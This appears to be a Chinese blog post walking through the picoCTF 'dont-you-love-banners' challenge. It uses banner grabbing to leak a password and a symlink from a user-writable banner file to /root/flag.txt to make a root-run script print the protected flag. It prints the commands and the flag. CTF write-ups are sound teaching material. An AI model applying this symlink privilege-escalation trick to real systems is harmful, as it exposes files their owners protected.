iT邦幫忙

2024 iThome 鐵人賽

DAY 22
0
Security

picoCTF系列 第 22

[Day 22] dont-you-love-banners

  • 分享至 

  • xImage
  •  

看到題目,題目首先告訴我們可以使用 banner 來解決這題。
並且在 port 60206 給予我們一些重要資訊,然後希望我們藉由這個資訊找到 port 56143 的 webshell 中 /root 底下的 flag。
https://ithelp.ithome.com.tw/upload/images/20240827/20168342vdeRL7X74G.png
hint 1:Do you know about symlinks?
hint 2:Maybe some small password cracking or guessing

在開始解題前,先來概述一下什麼是 symlinks。
symlink 也稱為 softlink,是文件系統中的一種特殊類型的文件,它會指向另一個文件或目錄的路徑,是類似於快捷方式的功能,在 Unix 中 建立 softlink 的指令如下。

ln -s <target> <link_name>

相對應還有一種 link 稱為 hardlink,和 symlinks 的差別最主要是 hardlink 並不是直接指向一個路徑,而是指向對應的 data block,在 Unix 中 建立 hardlink的指令如下。

ln <target> <link_name>

回到題目,首先連上題目給予的網址,會發現首先出現了一個 banner,再來是輸入密碼的 prompt。

$ nc tethys.picoctf.net 56143
*************************************
**************WELCOME****************
*************************************

what is the password? 
123
Lol, good try, try again and good luck

我們先連上題目給的另一個網址,因為我們知道其中提供重要的資訊,連上檢視,發現有給予密碼。

$ nc tethys.picoctf.net 60206
SSH-2.0-OpenSSH_7.6p1 My_Passw@rd_@1234

Protocol mismatch.

我們嘗試使用這組密碼作為 port 56143 webshell 的密碼,發現可行。
接著會出現兩個問題,我們 google 一下,得到正確答案,便可進入官網的 shell 。

$ nc tethys.picoctf.net 56143 
*************************************
**************WELCOME****************
*************************************

what is the password? 
My_Passw@rd_@1234
What is the top cyber security conference in the world?
DEF CON
the first hacker ever was known for phreaking(making free phone calls), who was it?
John Draper

https://ithelp.ithome.com.tw/upload/images/20240827/20168342T6qKAJdouE.pnghttps://ithelp.ithome.com.tw/upload/images/20240827/201683423lpdmErLG2.png

先用 ls -l,檢視 shell 中有什麼檔案。看到有 banner 和 text。

$ ls -l
ls -l
total 8
-rw-r--r-- 1 player player 114 Feb  7 17:25 banner
-rw-r--r-- 1 root   root    13 Feb  7 17:25 text

使用 cat 指令,查看 banner 和 text 裡有甚麼資訊。發現 text 中有 keep digging 的提示。

$ cat banner
cat banner
*************************************
**************WELCOME****************
*************************************
$ cat text
cat text
keep digging

於是我們查詢 text 所屬的 root 群組,發現 有 script.py 和 flag 在裡面。

$ ls -l /root         
ls -l /root
total 8
-rwx------ 1 root root   46 Mar  9 16:39 flag.txt
-rw-r--r-- 1 root root 1317 Feb  7 17:25 script.py

先來看一下 root 裡的 script.py,知道這是連上網站後會執行的檔案,並且發現一開始會先讀取 banner 這個檔案。

$ cat /root/script.py
cat /root/script.py

import os
import pty

incorrect_ans_reply = "Lol, good try, try again and good luck\n"

if __name__ == "__main__":
    try:
      with open("/home/player/banner", "r") as f:
        print(f.read())
    except:
      print("*********************************************")
      print("***************DEFAULT BANNER****************")
      print("*Please supply banner in /home/player/banner*")
      print("*********************************************")

try:
    request = input("what is the password? \n").upper()
    while request:
        if request == 'MY_PASSW@RD_@1234':
            text = input("What is the top cyber security conference in the world?\n").upper()
            if text == 'DEFCON' or text == 'DEF CON':
                output = input(
                    "the first hacker ever was known for phreaking(making free phone calls), who was it?\n").upper()
                if output == 'JOHN DRAPER' or output == 'JOHN THOMAS DRAPER' or output == 'JOHN' or output== 'DRAPER':
                    scmd = 'su - player'
                    pty.spawn(scmd.split(' '))

                else:
                    print(incorrect_ans_reply)
            else:
                print(incorrect_ans_reply)
        else:
            print(incorrect_ans_reply)
            break

except:
    KeyboardInterrupt

再來試著檢視 flag.txt ,發現沒有辦法開啟,使用 chmod 也沒有辦法更改權限。於是想起題目給的 hint,使用 symlinks 以及 banner。

$ cat /root/flag.txt
cat /root/flag.txt
cat: /root/flag.txt: Permission denied
$ chmod +x /root/flag.txt
chmod +x /root/flag.txt
chmod: changing permissions of '/root/flag.txt': Operation not permitted

當連上網址時,會先開啟 script.py,而其會讀取 banner 這個檔案,於是我們先將原本的 banner 移除,再使用 symlinks 連接新的 banner 和 /root/flag.txt。

可以看到如果 symlinks 建立成功,原本的 banner 會變成 banner -> /root/flag.txt

您可以嘗試 cat banner ,因為 symlinks 只是一種捷徑的概念,並不會更改到指向檔案的權限,所以仍是無法開啟的狀況。

$ rm banner
rm banner
$ ln -s /root/flag.txt banner
ln -s /root/flag.txt banner
$ ls -l
ls -l
total 4
lrwxrwxrwx 1 player player 14 Aug  3 14:43 banner -> /root/flag.txt
-rw-r--r-- 1 root   root   13 Feb  7 17:25 text
$ cat banner
cat banner
cat: banner: Permission denied

symlinks 建立成功,重新連上網址後,就會出現 flag 了。

$ nc tethys.picoctf.net 56143 
picoCTF{b4nn3r_gr4bb1n9_su((3sfu11y_68ca8b23}

what is the password? 

小結:
概略了解 symlinks 和 hardlink。


上一篇
[Day 21] SOAP
下一篇
[Day 23] weirdSnake
系列文
picoCTF30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言